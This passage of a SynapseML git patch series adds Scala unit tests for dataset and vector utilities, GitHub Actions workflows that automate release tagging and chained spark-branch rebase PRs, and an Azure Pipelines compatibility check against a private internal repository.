+import org.apache.spark.sql.types._ + +// scalastyle:off magic.number +class VerifyDatasetUtils extends TestBase { + + test("countCardinality with all same values") { + val result = DatasetUtils.countCardinality(Seq(1, 1, 1)) + assert(result === Array(3)) + } + + test("countCardinality with all different values") { + val result = DatasetUtils.countCardinality(Seq(1, 2, 3)) + assert(result === Array(1, 1, 1)) + } + + test("countCardinality with grouped values") { + val result = DatasetUtils.countCardinality(Seq(1, 1, 2, 2, 2, 3)) + assert(result === Array(2, 3, 1)) + } + + test("countCardinality with empty sequence") { + // Known quirk, asserted so a future change is deliberate: an empty partition folds to the + // initial triplet and reports one ranking group of zero rows rather than no groups at all. + val result = DatasetUtils.countCardinality(Seq.empty[Int]) + assert(result === Array(0)) + } + + test("getArrayType with sparse returns true") { + val iter = Iterator.empty + val (_, isSparse) = DatasetUtils.getArrayType(iter, "sparse", "features") + assert(isSparse) + } + + test("getArrayType with dense returns false") { + val iter = Iterator.empty + val (_, isSparse) = DatasetUtils.getArrayType(iter, "dense", "features") + assert(!isSparse) + } + + test("getArrayType with invalid type throws") { + intercept[Exception] { + DatasetUtils.getArrayType(Iterator.empty, "invalid", "features") + } + } + + test("validateGroupColumn throws for unsupported types") { + val schema = StructType(Seq(StructField("g", DoubleType))) + intercept[IllegalArgumentException] { + DatasetUtils.validateGroupColumn("g", schema) + } + } + + test("validateGroupColumn passes for IntegerType") { + val schema = StructType(Seq(StructField("g", IntegerType))) + DatasetUtils.validateGroupColumn("g", schema) + } + + test("validateGroupColumn passes for LongType") { + val schema = StructType(Seq(StructField("g", LongType))) + DatasetUtils.validateGroupColumn("g", schema) + } + + test("validateGroupColumn passes for StringType") { + val schema = StructType(Seq(StructField("g", StringType))) + DatasetUtils.validateGroupColumn("g", schema) + } +} +// scalastyle:on magic.number diff --git a/pipeline.yaml b/pipeline.yaml index b029a1bc6b5..1322e5c882c 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -851,8 +851,10 @@ jobs: com.microsoft.azure.synapse.ml.io.binary.VerifyBinaryFileFormat com.microsoft.azure.synapse.ml.io.http.VerifyClients com.microsoft.azure.synapse.ml.io.http.VerifyHTTPSchema + com.microsoft.azure.synapse.ml.io.http.VerifyRESTHelpers com.microsoft.azure.synapse.ml.io.http.VerifySharedVariable com.microsoft.azure.synapse.ml.io.image.VerifyImageUtils + com.microsoft.azure.synapse.ml.lightgbm.dataset.VerifyDatasetUtils com.microsoft.azure.synapse.ml.nbtest.FabricTestArtifactTrackerSuite com.microsoft.azure.synapse.ml.services.CognitiveServiceBaseSuite com.microsoft.azure.synapse.ml.services.search.AddDocumentsHeaderPersistenceSuite diff --git a/vw/src/test/scala/com/microsoft/azure/synapse/ml/vw/VerifyVectorUtils.scala b/vw/src/test/scala/com/microsoft/azure/synapse/ml/vw/VerifyVectorUtils.scala new file mode 100644 index 00000000000..13c5365c301 --- /dev/null +++ b/vw/src/test/scala/com/microsoft/azure/synapse/ml/vw/VerifyVectorUtils.scala @@ -0,0 +1,73 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.vw + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +// scalastyle:off magic.number +class VerifyVectorUtils extends TestBase { + + test("sortAndDistinct with empty arrays returns empty arrays") { + val (indices, values) = VectorUtils.sortAndDistinct(Array[Int](), Array[Double]()) + assert(indices.isEmpty) + assert(values.isEmpty) + } + + test("sortAndDistinct sorts indices and values together") { + val (indices, values) = VectorUtils.sortAndDistinct( + Array(3, 1, 2), Array(30.0, 10.0, 20.0)) + assert(indices === Array(1, 2, 3)) + assert(values === Array(10.0, 20.0, 30.0)) + } + + test("sortAndDistinct deduplicates and sums collisions by default") { + val (indices, values) = VectorUtils.sortAndDistinct( + Array(1, 2, 1), Array(10.0, 20.0, 5.0)) + assert(indices === Array(1, 2)) + assert(values === Array(15.0, 20.0)) + } + + test("sortAndDistinct deduplicates without summing when sumCollisions is false") { + val (indices, values) = VectorUtils.sortAndDistinct( + Array(1, 2, 1), Array(10.0, 20.0, 10.0), sumCollisions = false) + assert(indices === Array(1, 2)) + assert(values === Array(10.0, 20.0)) + } + + test("sortAndDistinct with single element") { + val (indices, values) = VectorUtils.sortAndDistinct( + Array(5), Array(42.0)) + assert(indices === Array(5)) + assert(values === Array(42.0)) + } + + test("sortAndDistinct with already sorted no-duplicate input") { + val (indices, values) = VectorUtils.sortAndDistinct( + Array(1, 2, 3, 4), Array(1.0, 2.0, 3.0, 4.0)) + assert(indices === Array(1, 2, 3, 4)) + assert(values === Array(1.0, 2.0, 3.0, 4.0)) + } + + test("sortAndDistinct with all duplicate indices sums to single element") { + val (indices, values) = VectorUtils.sortAndDistinct( + Array(5, 5, 5), Array(1.0, 2.0, 3.0)) + assert(indices === Array(5)) + assert(values === Array(6.0)) + } + + test("sortAndDistinct with multiple collision groups") { + val (indices, values) = VectorUtils.sortAndDistinct( + Array(3, 1, 3, 1, 2), Array(1.0, 2.0, 3.0, 4.0, 5.0)) + assert(indices === Array(1, 2, 3)) + assert(values === Array(6.0, 5.0, 4.0)) + } + + test("sortAndDistinct preserves negative values") { + val (indices, values) = VectorUtils.sortAndDistinct( + Array(2, 1), Array(-5.0, -3.0)) + assert(indices === Array(1, 2)) + assert(values === Array(-3.0, -5.0)) + } +} +// scalastyle:on magic.number From a4856389378b450dba216a5a729978ce2b248c76 Mon Sep 17 00:00:00 2001 From: smamindl <106691906+smamindl@users.noreply.github.com> Date: Sat, 15 Aug 2026 03:11:47 -0700 Subject: [PATCH 54/93] feat: automate release tag creation and spark branch rebase (Release Guide steps 1.4-1.5) (#2540) --- .github/workflows/release-tag-spark.yml | 217 ++++++++++++++ .github/workflows/release-tag.yml | 363 ++++++++++++++++++++++++ 2 files changed, 580 insertions(+) create mode 100644 .github/workflows/release-tag-spark.yml create mode 100644 .github/workflows/release-tag.yml diff --git a/.github/workflows/release-tag-spark.yml b/.github/workflows/release-tag-spark.yml new file mode 100644 index 00000000000..9c036af30f7 --- /dev/null +++ b/.github/workflows/release-tag-spark.yml @@ -0,0 +1,217 @@ +name: Release Tag — Spark Branch Tags + +# Triggers when a release rebase PR is merged into spark4.0 or spark4.1. +# Creates the spark and python derivative tags automatically. +# +# Part of the SynapseML Fabric Release Guide (Steps 1.4–1.5). +# See also: release-tag.yml (triggers the rebase PR). + +on: + pull_request: + types: [closed] + branches: + - spark4.0 + - spark4.1 + +permissions: + contents: write + +jobs: + create-spark-tags: + name: Create spark & python tags + runs-on: ubuntu-latest + + if: >- + github.event.pull_request.merged == true && + github.event.pull_request.head.repo.full_name == github.repository && + startsWith(github.event.pull_request.head.ref, 'release/') + + steps: + - name: Extract version and target + id: info + env: + BRANCH: ${{ github.event.pull_request.head.ref }} + TARGET: ${{ github.event.pull_request.base.ref }} + run: | + set -euo pipefail + + # Require the exact release branch convention for the target branch. + if [[ ! "$BRANCH" =~ ^release/v([0-9]+\.[0-9]+\.[0-9]+)-(spark4\.[01])$ ]]; then + echo "❌ Release branch '$BRANCH' must match release/vX.Y.Z-spark4.0 or release/vX.Y.Z-spark4.1" + exit 1 + fi + + VERSION="${BASH_REMATCH[1]}" + BRANCH_TARGET="${BASH_REMATCH[2]}" + if [ "$BRANCH_TARGET" != "$TARGET" ]; then + echo "❌ Release branch target '$BRANCH_TARGET' does not match PR base '$TARGET'" + exit 1 + fi + + echo "version=$VERSION" >> "$GITHUB_OUTPUT" + echo "target=$TARGET" >> "$GITHUB_OUTPUT" + + # Map branch to python version + case "$TARGET" in + spark4.0) echo "python_ver=3.12" >> "$GITHUB_OUTPUT" ;; + spark4.1) echo "python_ver=3.13" >> "$GITHUB_OUTPUT" ;; + *) echo "❌ Unknown target: $TARGET"; exit 1 ;; + esac + + echo "📦 Version: $VERSION, Target: $TARGET" + + # For a merged PR, GitHub defines merge_commit_sha as the commit written + # to the base branch, including the final rebased commit for "Rebase and + # merge". Guard its nullable schema because an empty checkout ref falls + # back to the default branch instead of identifying the released commit. + - name: Verify the merged commit is known + env: + MERGED_SHA: ${{ github.event.pull_request.merge_commit_sha }} + BASE_REF: ${{ github.event.pull_request.base.ref }} + run: | + set -euo pipefail + if [ -z "$MERGED_SHA" ]; then + echo "::error::pull_request.merge_commit_sha is empty, so the commit that landed on \ + $BASE_REF cannot be identified. Refusing to guess. This workflow normally creates both \ + the spark tag and the matching python tag, so create both manually to avoid a \ + partially tagged release: \ + git tag v- && git tag v-python && \ + git push origin v- v-python" + exit 1 + fi + echo "✅ Merged commit: $MERGED_SHA" + + - name: Checkout + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + # Pin to the commit recorded by the merge event, not the base branch + # ref. Any later commit on spark4.x must not receive this release tag. + ref: ${{ github.event.pull_request.merge_commit_sha }} + # Full history and tags: the "tag already exists" guard below is + # meaningless against a shallow clone with no tags fetched. + fetch-depth: 0 + token: ${{ secrets.GITHUB_TOKEN }} + + - name: Configure git + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + # Nothing so far has established that this release exists. The version is + # read out of a branch name, so a branch called release/v9.9.9-spark4.0 + # merged into spark4.0 -- which carries no branch protection at all -- + # would mint public v9.9.9-spark4.0 and v9.9.9-python3.12 tags for a + # release that was never cut. A derivative tag cannot be valid without + # its primary, and release-tag.yml always creates the primary first, so + # requiring it costs a legitimate release nothing. + - name: Verify the release exists + env: + VERSION: ${{ steps.info.outputs.version }} + run: | + set -euo pipefail + + if ! git rev-parse -q --verify "refs/tags/v${VERSION}" >/dev/null; then + echo "::error::No v${VERSION} tag exists, so there is no such release to derive \ + tags from. This workflow only runs for releases cut by release-tag.yml, which creates \ + v${VERSION} on master first. If this PR is not part of a release, its branch should \ + not be named release/v${VERSION}-*." + exit 1 + fi + echo "✅ Release v${VERSION} exists at $(git rev-parse --short "refs/tags/v${VERSION}^{commit}")" + + # Ancestry is reported rather than enforced. "Rebase and merge" -- one of + # only two methods this repo allows -- replays the release commit onto the + # target branch under a new SHA, so the original v${VERSION} object is + # legitimately not an ancestor of what landed. Failing on that would reject + # every release that goes through this workflow. It is still worth printing: + # when it does hold, the tags satisfy the same ancestry the manual release + # guide produces, and when it does not, that is the known limitation to + # check before the tags are consumed downstream. + if git merge-base --is-ancestor "refs/tags/v${VERSION}" HEAD; then + echo "✅ v${VERSION} is an ancestor of the merged commit" + else + echo "::warning::v${VERSION} is not an ancestor of the merged commit. This is \ + expected when the PR was landed with \"Rebase and merge\", which rewrites SHAs. Verify \ + the release branches carry the intended content before these tags are consumed." + fi + + - name: Create and push tags + env: + VERSION: ${{ steps.info.outputs.version }} + TARGET: ${{ steps.info.outputs.target }} + PYTHON_VER: ${{ steps.info.outputs.python_ver }} + run: | + set -euo pipefail + + SPARK_TAG="v${VERSION}-${TARGET}" + PYTHON_TAG="v${VERSION}-python${PYTHON_VER}" + + TO_PUSH=() + for TAG in "$SPARK_TAG" "$PYTHON_TAG"; do + if git rev-parse -q --verify "refs/tags/$TAG" >/dev/null; then + # An existing tag is only benign if it already points where this run + # would put it. If it points elsewhere, the release is mis-tagged and + # silently skipping would report success for a bad release. + EXISTING=$(git rev-parse "refs/tags/$TAG^{commit}") + if [ "$EXISTING" != "$(git rev-parse HEAD)" ]; then + echo "::error::$TAG already exists at $EXISTING but this release is \ + $(git rev-parse HEAD). Refusing to move a published release tag — resolve manually." + exit 1 + fi + echo "⚠️ $TAG already exists at the same commit — skipping" + else + git tag "$TAG" + TO_PUSH+=("$TAG") + echo "🏷️ Created $TAG" + fi + done + + if [ ${#TO_PUSH[@]} -eq 0 ]; then + echo "✅ Nothing to push — both tags already exist" + else + git push origin "${TO_PUSH[@]}" + echo "✅ Pushed: ${TO_PUSH[*]}" + fi + + - name: Cleanup release branch + env: + HEAD_REF: ${{ github.event.pull_request.head.ref }} + HEAD_SHA: ${{ github.event.pull_request.head.sha }} + run: | + set -euo pipefail + REF="refs/heads/$HEAD_REF" + REMOTE_HEAD=$(git ls-remote --heads origin "$REF") + if [ -z "$REMOTE_HEAD" ]; then + echo "🧹 $HEAD_REF is already absent from origin" + else + REMOTE_SHA=${REMOTE_HEAD%%$'\t'*} + if [ "$REMOTE_SHA" != "$HEAD_SHA" ]; then + echo "::error::$HEAD_REF moved from $HEAD_SHA to $REMOTE_SHA after merge; refusing to delete it" + exit 1 + fi + git push --force-with-lease="$REF:$HEAD_SHA" origin --delete "$REF" + echo "🧹 Deleted $HEAD_REF" + fi + + - name: Summary + env: + VERSION: ${{ steps.info.outputs.version }} + TARGET: ${{ steps.info.outputs.target }} + PYTHON_VER: ${{ steps.info.outputs.python_ver }} + run: | + echo "" + echo "═══════════════════════════════════════════════════" + echo " Spark Branch Tags — Summary" + echo "═══════════════════════════════════════════════════" + echo "" + echo " ✅ v${VERSION}-${TARGET} tag verified at the merged commit" + echo " ✅ v${VERSION}-python${PYTHON_VER} tag verified at the merged commit" + echo " 🧹 Release branch absent from origin" + echo "" + echo " Next steps:" + echo " 1. Queue ADO pipeline 17563 for refs/tags/v${VERSION}-${TARGET}" + echo " 2. Approve ESRP signing on SAW machine" + echo " 3. Proceed to Step 2 (SynapseML-Internal)" + echo "" + echo " Pipeline: https://msdata.visualstudio.com/A365/_build?definitionId=17563" + echo "═══════════════════════════════════════════════════" diff --git a/.github/workflows/release-tag.yml b/.github/workflows/release-tag.yml new file mode 100644 index 00000000000..1d433594a6b --- /dev/null +++ b/.github/workflows/release-tag.yml @@ -0,0 +1,363 @@ +name: Release Tag Orchestrator + +# Triggers when a primary version tag (v1.1.2) is pushed to master. +# Creates the python3.11 and spark3.5 tags at the tagged commit, then opens a +# rebase PR for each spark branch as a chain: spark4.0 onto the release commit, +# then spark4.1 onto spark4.0. +# +# spark4.0 can be opted out of. See SKIP_SPARK40 below. +# +# Part of the SynapseML Fabric Release Guide (Steps 1.4–1.5). +# See also: release-tag-spark.yml (creates spark/python tags after PR merge). + +on: + push: + tags: + # Deliberately permissive: GitHub filter patterns are globs, and support for + # `+` as a quantifier is inconsistently documented. `[0-9]*` matches under + # every reading. Strict X.Y.Z enforcement is done by the "Extract version" + # step below, and derivative tags are excluded by the job-level `if:`. + - "v[0-9]*.[0-9]*.[0-9]*" + workflow_dispatch: + inputs: + skip_spark40: + description: 'Skip the spark4.0 rebase PR for this run' + type: boolean + default: false + +permissions: + contents: write + pull-requests: write + +env: + # Opt out of spark4.0 in two ways, checked in this order: + # 1. the workflow_dispatch checkbox above, for a single manual run; + # 2. repository variable SKIP_SPARK40='true', for a persistent opt-out — + # a tag push carries no inputs, so this is the only way to skip it on + # the automatic trigger. + # Default is false: spark4.0 is processed exactly as before. + # Note this only controls whether the rebase PR is opened here. Merging a + # spark4.0 release branch by hand still tags normally via release-tag-spark.yml. + SKIP_SPARK40: ${{ inputs.skip_spark40 == true || vars.SKIP_SPARK40 == 'true' }} + +jobs: + release-tags: + name: Create release tags & rebase PR + runs-on: ubuntu-latest + + # Skip derivative tags (v1.1.2-spark4.0, v1.1.2-python3.11, etc.) + if: >- + !contains(github.ref_name, '-spark') && + !contains(github.ref_name, '-python') + + steps: + - name: Extract version + id: version + run: | + set -euo pipefail + # The version comes from the ref this ran on, so a manual run must be + # dispatched with a release tag selected in the ref picker. Dispatching + # from master (the default the UI offers) fails here by design rather + # than guessing which release was meant. + VERSION="${GITHUB_REF_NAME#v}" + if ! echo "$VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+$'; then + echo "❌ Version '$VERSION' is not X.Y.Z format. Re-run this workflow with a \ + vX.Y.Z tag selected as the ref." + exit 1 + fi + # Published only after validation, so no later step can consume a version + # this job already rejected. + echo "version=$VERSION" >> "$GITHUB_OUTPUT" + echo "📦 Version: $VERSION" + + - name: Checkout + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + token: ${{ secrets.GITHUB_TOKEN }} + + - name: Configure git + run: | + set -euo pipefail + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Capture released commit + run: | + set -euo pipefail + RELEASE_COMMIT=$(git rev-parse HEAD) + # The release tag must identify a commit from master. Refuse to mint + # derivative tags or PRs from an accidental tag on another branch. + git fetch --no-tags origin '+refs/heads/master:refs/remotes/origin/master' + if ! git merge-base --is-ancestor "$RELEASE_COMMIT" origin/master; then + echo "::error::${GITHUB_REF_NAME} points to $RELEASE_COMMIT, which is not contained in origin/master" + exit 1 + fi + echo "RELEASE_COMMIT=$RELEASE_COMMIT" >> "$GITHUB_ENV" + echo "✅ ${GITHUB_REF_NAME} points at master commit $RELEASE_COMMIT" + + # ── Tags at the released master commit ──────────────── + - name: Create master release tags + env: + VERSION: ${{ steps.version.outputs.version }} + run: | + set -euo pipefail + # Both derivative tags every release carries at the master commit. master + # targets Spark 3.5 and Python 3.11, and v1.1.1 and v1.1.3 each carry both + # tags here, so creating only the python one leaves every release short a tag. + for TAG in "v${VERSION}-python3.11" "v${VERSION}-spark3.5"; do + # Use the immutable tagged commit captured above, not a moving branch ref. + if git rev-parse -q --verify "refs/tags/$TAG" >/dev/null; then + # Same reasoning as release-tag-spark.yml: an existing tag is only + # benign if it already points at this release. Otherwise the release + # is mis-tagged and skipping would report success for a bad release. + EXISTING=$(git rev-parse "refs/tags/$TAG^{commit}") + if [ "$EXISTING" != "$RELEASE_COMMIT" ]; then + echo "::error::$TAG already exists at $EXISTING but v${VERSION} is \ + $RELEASE_COMMIT. Refusing to move a published release tag — resolve manually." + exit 1 + fi + echo "⚠️ $TAG already exists at the same commit — skipping" + else + git tag "$TAG" "$RELEASE_COMMIT" + git push origin "$TAG" + echo "✅ Created $TAG" + fi + done + + # ── Rebase PRs for the spark release branches ────────── + - name: Create spark rebase PRs + env: + VERSION: ${{ steps.version.outputs.version }} + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + set -euo pipefail + + # spark4.0 first, and spark4.1 rebased onto it rather than onto master. + # spark4.1 is maintained as spark4.0 plus its own upgrade commit — every + # release so far satisfies `git merge-base --is-ancestor v-spark4.0 + # v-spark4.1`, and origin/spark4.0 is an ancestor of origin/spark4.1 + # today. Rebasing both onto master independently replays the Spark 4.0 + # upgrade patch twice, producing two commits with the same tree and + # different SHAs, which breaks that ancestry for good: a later spark4.0-only + # fix would no longer reach spark4.1. Chaining them lets `git rebase` drop + # the patch-equivalent commit and keeps the branches a single line, which is + # also what the release guide's `git checkout spark4.1; git rebase + # upstream/spark4.0` produces. + TARGETS=(spark4.0 spark4.1) + if [ "${SKIP_SPARK40}" = "true" ]; then + echo "⏭️ SKIP_SPARK40 is set — not opening a spark4.0 rebase PR" + TARGETS=(spark4.1) + fi + + # Each target is rebased onto the previous one's release branch, starting + # from the master release commit. + REBASE_ONTO="$RELEASE_COMMIT" + + # Skipping spark4.0 must not silently un-chain spark4.1. Leaving REBASE_ONTO + # at the master release commit is exactly the "both onto master + # independently" case described above: it replays the Spark 4.0 upgrade + # patch a second time and breaks spark4.0 -> spark4.1 ancestry for good. + # Chain onto spark4.0 whenever that branch already carries this release. + if [ "${SKIP_SPARK40}" = "true" ]; then + # The checkout can predate both refs this decision reads. + git fetch --no-tags origin '+refs/heads/spark4.0:refs/remotes/origin/spark4.0' 2>/dev/null || true + git fetch origin "+refs/tags/v${VERSION}-spark4.0:refs/tags/v${VERSION}-spark4.0" 2>/dev/null || true + + SPARK40_HAS_RELEASE=false + if git rev-parse -q --verify refs/remotes/origin/spark4.0 >/dev/null; then + # "Rebase and merge" rewrites SHAs, so once the spark4.0 release PR has + # landed $RELEASE_COMMIT is no longer an ancestor of origin/spark4.0 even + # though the release is sitting there under a different SHA. The derivative + # tag release-tag-spark.yml mints on that merge is the dependable signal; + # the ancestry probe stays as a fallback for a fast-forwarded spark4.0. + if git rev-parse -q --verify "refs/tags/v${VERSION}-spark4.0" >/dev/null || + git merge-base --is-ancestor "$RELEASE_COMMIT" origin/spark4.0; then + SPARK40_HAS_RELEASE=true + fi + fi + + if [ "$SPARK40_HAS_RELEASE" = true ]; then + REBASE_ONTO="origin/spark4.0" + echo " spark4.1 will be rebased onto origin/spark4.0, which already carries v${VERSION}." + else + echo " spark4.1 will be rebased onto v${VERSION} directly this run." + echo "::warning::spark4.0 has no v${VERSION} release yet, so rebasing spark4.1 onto master breaks spark4.0 -> spark4.1 ancestry until a release runs without SKIP_SPARK40." + fi + fi + + FAILED=() + for TARGET in "${TARGETS[@]}"; do + if ! git rev-parse -q --verify "refs/remotes/origin/$TARGET" >/dev/null; then + echo "⚠️ $TARGET branch doesn't exist — skipping" + continue + fi + + BRANCH="release/v${VERSION}-${TARGET}" + echo "═══ $TARGET (onto $REBASE_ONTO) ═══" + + # Nothing to do if the branch already has the released commit, and + # rebasing anyway is not harmless. `git rebase` only no-ops when the + # branch is linear on top of the release; if the branch picked up a + # merge commit (e.g. the previous release PR was merged with a merge + # commit rather than "Rebase and merge"), the rebase flattens that + # merge and rewrites SHAs. If the tip *is* the release commit there + # is nothing ahead at all and `gh pr create` fails with "No commits + # between". Both only show up on a re-run, which is exactly when the + # workflow is supposed to be safe to repeat. + if git merge-base --is-ancestor "$REBASE_ONTO" "origin/$TARGET"; then + echo "✅ $TARGET already contains $REBASE_ONTO — nothing to rebase" + REBASE_ONTO="origin/$TARGET" + continue + fi + + # Check before rebuilding the branch: an existing PR may contain + # manual conflict resolution that must not be replaced or made to + # conflict again locally. Ignore same-named PRs from forks. + EXISTING=$(gh pr list --head "$BRANCH" --base "$TARGET" \ + --state open --json number,isCrossRepository \ + --jq 'map(select(.isCrossRepository == false))[0].number // empty') + if [ -n "$EXISTING" ]; then + echo "♻️ PR #$EXISTING already open for $BRANCH — leaving it untouched." + echo " If that PR needs refreshing, update it manually." + # Chain the next target onto what that PR will land, not onto master. + git fetch --no-tags origin "+refs/heads/$BRANCH:refs/remotes/origin/$BRANCH" + REBASE_ONTO="origin/$BRANCH" + continue + fi + + # "Rebase and merge" rewrites the primary release commit, so the + # ancestor check above cannot recognize a completed release on its + # own. Reuse a merged PR only while its recorded result remains on + # the target branch; otherwise fail instead of opening a duplicate. + MERGED=$(gh pr list --head "$BRANCH" --base "$TARGET" \ + --state merged --json number,mergeCommit,isCrossRepository \ + --jq '(map(select(.isCrossRepository == false))[0] // empty) | + [.number, .mergeCommit.oid] | @tsv') + if [ -n "$MERGED" ]; then + IFS=$'\t' read -r MERGED_PR MERGED_SHA <<< "$MERGED" + if [ -z "$MERGED_SHA" ]; then + echo "::error::PR #$MERGED_PR was merged for $BRANCH but has no recorded merge commit" + FAILED+=("$TARGET") + break + fi + if ! git merge-base --is-ancestor "$MERGED_SHA" "origin/$TARGET"; then + echo "::error::PR #$MERGED_PR merged at $MERGED_SHA, which is no longer on $TARGET" + FAILED+=("$TARGET") + break + fi + echo "✅ PR #$MERGED_PR already merged at $MERGED_SHA — $TARGET is complete" + REBASE_ONTO="origin/$TARGET" + continue + fi + + git checkout -B "$BRANCH" "origin/$TARGET" + + if ! git rebase "$REBASE_ONTO"; then + git rebase --abort + echo "::error::Rebase of $TARGET onto $REBASE_ONTO conflicted — resolve manually" + FAILED+=("$TARGET") + break + fi + + git push --force-with-lease -u origin "$BRANCH" + BASED_ON="$REBASE_ONTO" + REBASE_ONTO="$BRANCH" + + # Only tell the release engineer to merge something else first when there + # really is something else. With SKIP_SPARK40, or on a re-run where + # spark4.0 has already landed, this PR is based on a commit that is + # already on master or on the target branch and can merge on its own. + case "$BASED_ON" in + release/v*|origin/release/v*) + MERGE_ORDER="The spark branches form a chain: \`spark4.1\` is maintained as + \`spark4.0\` plus its own upgrade commit. This PR is stacked on + \`${BASED_ON#origin/}\`, so **merge that PR first**, then re-check this one — + \"Rebase and merge\" rewrites SHAs on the base branch, so merging this PR + first would leave it without the spark4.0 release commit." + ;; + *) + MERGE_ORDER="This PR is based on \`${BASED_ON#origin/}\`, which has already + landed, so there is no other release PR to merge ahead of it." + ;; + esac + + # An empty check list means different things on the two branches, and + # reading "no checks" as "checks passed" is the failure mode worth + # spending a paragraph on. + if [ "$TARGET" = "spark4.0" ]; then + CHECKS="\`spark4.0\` is outside the branch filters of \`pr-validation.yml\` and the + ADO pipeline, so this PR legitimately runs no checks at all. A PR opened by a + workflow may also need \"Approve workflows to run\" clicked first. Either way an + empty check list is not the same as a green one." + else + CHECKS="A PR opened by a workflow may need \"Approve workflows to run\" clicked + before its checks start, so an empty check list is not the same as a green one." + fi + + gh pr create \ + --base "$TARGET" \ + --head "$BRANCH" \ + --title "chore: Rebase ${TARGET} for v${VERSION} release" \ + --body "## Release v${VERSION} — ${TARGET} rebase + + Auto-generated by the Release Tag Orchestrator. + + ### What this does + Rebases \`${TARGET}\` onto \`${BASED_ON}\`. + + ### Merge order + ${MERGE_ORDER} + + ### Checks + ${CHECKS} + + ### After merging + Tags \`v${VERSION}-${TARGET}\` and the matching python tag will + be created automatically by the \`release-tag-spark\` workflow. + + ### Next steps + 1. ✅ Merge this PR (use **Rebase and merge**) + 2. Tags are auto-created on merge + 3. Queue ADO pipeline 17563 for \`refs/tags/v${VERSION}\` + 4. Queue ADO pipeline 17563 for \`refs/tags/v${VERSION}-${TARGET}\` + 5. Approve ESRP signing on SAW machine" || { + echo "::error::Failed to open PR for $TARGET" + FAILED+=("$TARGET") + # Stop the chain, matching the rebase-conflict path above. The next + # target would be stacked on a pushed branch that has no PR, so it + # could never be merged in order. + break + } + done + + if [ ${#FAILED[@]} -gt 0 ]; then + echo "::error::Failed for: ${FAILED[*]}" + exit 1 + fi + + # ── Summary ──────────────────────────────────────────── + - name: Summary + env: + VERSION: ${{ steps.version.outputs.version }} + run: | + set -euo pipefail + echo "" + echo "═══════════════════════════════════════════════════" + echo " Release Tag Orchestrator — Summary" + echo "═══════════════════════════════════════════════════" + echo "" + echo " Version: v${VERSION}" + echo "" + echo " ✅ v${VERSION}-python3.11 tag verified at the tagged commit" + echo " ✅ v${VERSION}-spark3.5 tag verified at the tagged commit" + echo " 📋 Spark release branches processed" + echo "" + if [ "${SKIP_SPARK40}" = "true" ]; then + echo " ⏭️ spark4.0 skipped (SKIP_SPARK40)" + echo " Next: merge the spark4.1 rebase PR." + else + echo " Next: merge the spark4.0 rebase PR first, then spark4.1 —" + echo " spark4.1 is maintained on top of spark4.0." + fi + echo "═══════════════════════════════════════════════════" From b37ab6845e09aa4988784f3a97d9f50e707fa6b9 Mon Sep 17 00:00:00 2001 From: Brendan Walsh Date: Tue, 21 Apr 2026 20:50:19 +0000 Subject: [PATCH 55/93] ci: add guarded SynapseML-Internal compatibility check Rebased onto current master and hardened the job before it can gate PRs. - Skip on fork PRs: SynapseML-Internal is private, so the job is conditioned on System.PullRequest.IsFork rather than failing external contributions. - Drop continueOnError: a compatibility check that cannot fail is a false green. - Verify the build.sbt retargeting actually applied. The two sed commands were silent no-ops if the patterns ever drifted, which would have compiled Internal against the *published* OSS build and reported a false pass. Both patterns are now asserted before and after the edit. Validated: YAML safe_load + duplicate-key detector pass; job count 13 -> 14 with only InternalCompat added. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- pipeline.yaml | 226 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 225 insertions(+), 1 deletion(-) diff --git a/pipeline.yaml b/pipeline.yaml index 1322e5c882c..6fd9f64c782 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -1,5 +1,11 @@ resources: -- repo: self + repositories: + - repository: self + type: self + - repository: SynapseML-Internal + type: git + name: A365/SynapseML-Internal + ref: master trigger: branches: @@ -1149,3 +1155,221 @@ jobs: testResultsFiles: '**/test-reports/TEST-*.xml' failTaskOnFailedTests: false condition: and(succeededOrFailed(), eq(variables.releaseCompatRequired, 'true')) +- job: InternalCompat + displayName: 'SynapseML-Internal Compatibility Check' + # SynapseML-Internal is a private repo. Fork PRs cannot authenticate to it, so skip the job + # there rather than failing every external contribution. + condition: and(succeeded(), ne(variables['System.PullRequest.IsFork'], 'True')) + cancelTimeoutInMinutes: 0 + timeoutInMinutes: 90 + pool: + vmImage: $(UBUNTU_VERSION) + steps: + - checkout: self + - checkout: SynapseML-Internal + - task: AzureCLI@2 + displayName: 'Publish OSS to local Maven' + timeoutInMinutes: 20 + inputs: + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + cd $(Build.SourcesDirectory)/SynapseML + export SBT_OPTS="-Xmx4G -Xss2M -Duser.timezone=GMT" + OSS_VERSION=$(sbt -no-colors "core/version" 2>&1 | grep '^\[info\] [0-9]' | tail -1 | sed 's/\[info\] //') + echo "OSS version: $OSS_VERSION" + if [ -z "$OSS_VERSION" ]; then + echo "##vso[task.logissue type=error]Failed to determine OSS version" + exit 1 + fi + echo "##vso[task.setvariable variable=OSS_VERSION]$OSS_VERSION" + sbt publishM2 + - bash: | + set -e + cd $(Build.SourcesDirectory)/SynapseML-Internal + + echo "=== Retargeting Internal to OSS version $(OSS_VERSION) ===" + [ -n "$(OSS_VERSION)" ] || { echo "##vso[task.logissue type=error]OSS_VERSION is not set"; exit 1; } + grep -q '^val synapseMLVersion = ' build.sbt || { + echo "##vso[task.logissue type=error]synapseMLVersion not found in Internal build.sbt"; exit 1; } + grep -q '^resolvers ++= Seq(' build.sbt || { + echo "##vso[task.logissue type=error]resolvers block not found in Internal build.sbt"; exit 1; } + + sed -i 's|val synapseMLVersion = ".*"|val synapseMLVersion = "$(OSS_VERSION)"|' build.sbt + sed -i '/^resolvers ++= Seq(/a\ Resolver.mavenLocal,' build.sbt + + # A silent no-op here would compile Internal against the *published* OSS build and + # report a false green, so verify both 